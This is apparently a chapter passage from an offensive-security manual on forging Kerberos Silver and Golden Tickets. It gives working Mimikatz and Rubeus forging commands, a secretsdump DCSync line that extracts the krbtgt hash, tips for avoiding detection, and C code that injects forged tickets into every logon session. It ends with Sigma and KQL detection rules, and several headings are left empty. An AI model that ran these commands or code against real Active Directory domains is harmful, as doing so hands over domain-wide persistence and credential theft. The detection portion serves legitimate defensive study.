Silver Tickets and Golden Tickets

Silver and Golden Tickets are forged Kerberos tickets that bypass the KDC entirely — the attacker constructs and signs a ticket using a stolen service key (silver) or the domain's krbtgt key (golden), then injects it directly into a logon session. The KDC never sees the request. This chapter covers the cryptographic structure of both ticket types, what keys are required, how to forge tickets in C using the Windows Kerberos API, and what detection is actually possible when the KDC is bypassed.

Kerberos Ticket Anatomy

Silver Ticket — Construction Requirements

# Mimikatz silver ticket (reference — we build the equivalent in C below):
kerberos::golden /user:FakeAdmin /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /target:fileserver01.corp.local \
    /service:cifs \
    /rc4:<service_account_nt_hash> \
    /ptt   # inject into current session

# Rubeus silver ticket:
Rubeus.exe silver /service:cifs/fileserver01.corp.local \
    /rc4:<NT_hash> \
    /user:FakeAdmin /domain:corp.local \
    /sid:S-1-5-21-... \
    /ptt

Golden Ticket — Construction

# Golden ticket requirements: krbtgt NT hash or AES256 key
# Obtained via DCSync (Chapter 129):
#   secretsdump.py -just-dc-user krbtgt corp/DA:password@dc01

# Mimikatz golden ticket:
kerberos::golden /user:FakeAdmin /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /krbtgt:<krbtgt_NT_hash> \
    /id:500 \          # RID — 500 = Administrator
    /groups:512 \      # group RIDs: 512=Domain Admins, 519=Enterprise Admins
    /endin:8760 \      # valid for 1 year (hours)
    /renewmax:52560 \  # renewable for 6 years
    /ptt

# AES256 golden ticket (better opsec — avoids RC4 downgrade detection):
kerberos::golden /user:FakeAdmin /domain:corp.local \
    /sid:S-1-5-21-... \
    /aes256:<krbtgt_aes256_key> \
    /ptt

# Rubeus:
Rubeus.exe golden /rc4:<krbtgt_hash> /user:FakeAdmin \
    /id:500 /domain:corp.local /sid:S-1-5-21-... /ptt

Diamond and Sapphire Tickets

Ticket Injection in C (LsaCallAuthPackage)

// The actual ticket forgery (ASN.1 encoding + encryption) is done by tools like
// Mimikatz or Rubeus in .NET. Here we show the injection half in C —
// identical to Pass-the-Ticket from Chapter 146.
// The forged ticket bytes are produced externally and passed in.

BOOL InjectForgedTicket(const BYTE* ticketBytes, DWORD ticketLen,
                          BOOL injectIntoAllSessions) {
    HANDLE hLsa;
    LsaConnectUntrusted(&hLsa);

    LSA_STRING authPkgName; ULONG authPkg;
    RtlInitString(&authPkgName, MICROSOFT_KERBEROS_NAME_A);
    LsaLookupAuthenticationPackage(hLsa, &authPkgName, &authPkg);

    ULONG reqSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + ticketLen;
    KERB_SUBMIT_TKT_REQUEST* req = (KERB_SUBMIT_TKT_REQUEST*)
        HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, reqSize);
    req->MessageType = KerbSubmitTicketMessage;
    req->KerbCredSize = ticketLen;
    req->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
    memcpy((BYTE*)req + req->KerbCredOffset, ticketBytes, ticketLen);

    if (injectIntoAllSessions) {
        // Requires SeImpersonatePrivilege — enumerate all logon sessions and inject
        // into each one, so the ticket is available regardless of which LUID is used
        ULONG count; PLUID sessions;
        LsaEnumerateLogonSessions(&count, &sessions);
        for (ULONG i = 0; i < count; i++) {
            req->LogonId = sessions[i];
            NTSTATUS sub; void* resp; ULONG len;
            LsaCallAuthenticationPackage(hLsa, authPkg,
                req, reqSize, &resp, &len, &sub);
            if (resp) LsaFreeReturnBuffer(resp);
        }
        LsaFreeReturnBuffer(sessions);
    } else {
        // Inject into current session only (LogonId = {0,0})
        NTSTATUS sub; void* resp; ULONG len;
        LsaCallAuthenticationPackage(hLsa, authPkg,
            req, reqSize, &resp, &len, &sub);
        if (resp) LsaFreeReturnBuffer(resp);
    }
    HeapFree(GetProcessHeap(), 0, req);
    LsaDeregisterLogonProcess(hLsa);
    printf("[+] Forged ticket injected\n");
    return TRUE;
}

Detection Engineering

-- Golden Ticket detection challenges:
-- No AS-REQ logged for the forged user: user FakeAdmin never sent a TGS-REQ before TGT use
-- Event 4769 appears for TGS requests using the golden ticket — but no preceding 4768 for that user

-- Silver Ticket: completely bypasses the KDC — ZERO events on the DC
-- Only the target host can detect it: PAC validation (if enabled)

title: Golden Ticket Indicator — Kerberos TGS Without Preceding AS-REQ
logsource:
  product: windows
  service: security
detection:
  selection_tgs:
    EventID: 4769
    Status: '0x0'
  filter_has_tgt:
    EventID: 4768                  # TGT must precede TGS for the same account
  timeframe: 20m
  condition: selection_tgs AND NOT filter_has_tgt
level: high
tags: [attack.credential_access, T1558.001]

title: Golden Ticket — Ticket Lifetime Exceeds Domain Policy
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketOptions|contains: '0x40810010'   # FORWARDABLE|RENEWABLE|CANONICALIZE|RENEWABLE_OK
  condition: selection
level: low   # tune with lifetime check from ticket fields

-- MDE KQL: anomalous Kerberos ticket lifetime (golden ticket often 10y)
DeviceEvents
| where ActionType == "KerberosServiceTicketRequest"
| extend Fields = todynamic(AdditionalFields)
| where datetime_diff('hour',
    todatetime(Fields.TicketEndTime),
    todatetime(Fields.TicketStartTime)) > 20
| project Timestamp, DeviceName, Fields.AccountName,
          Fields.TicketStartTime, Fields.TicketEndTime,
          Fields.ServiceName

Q&A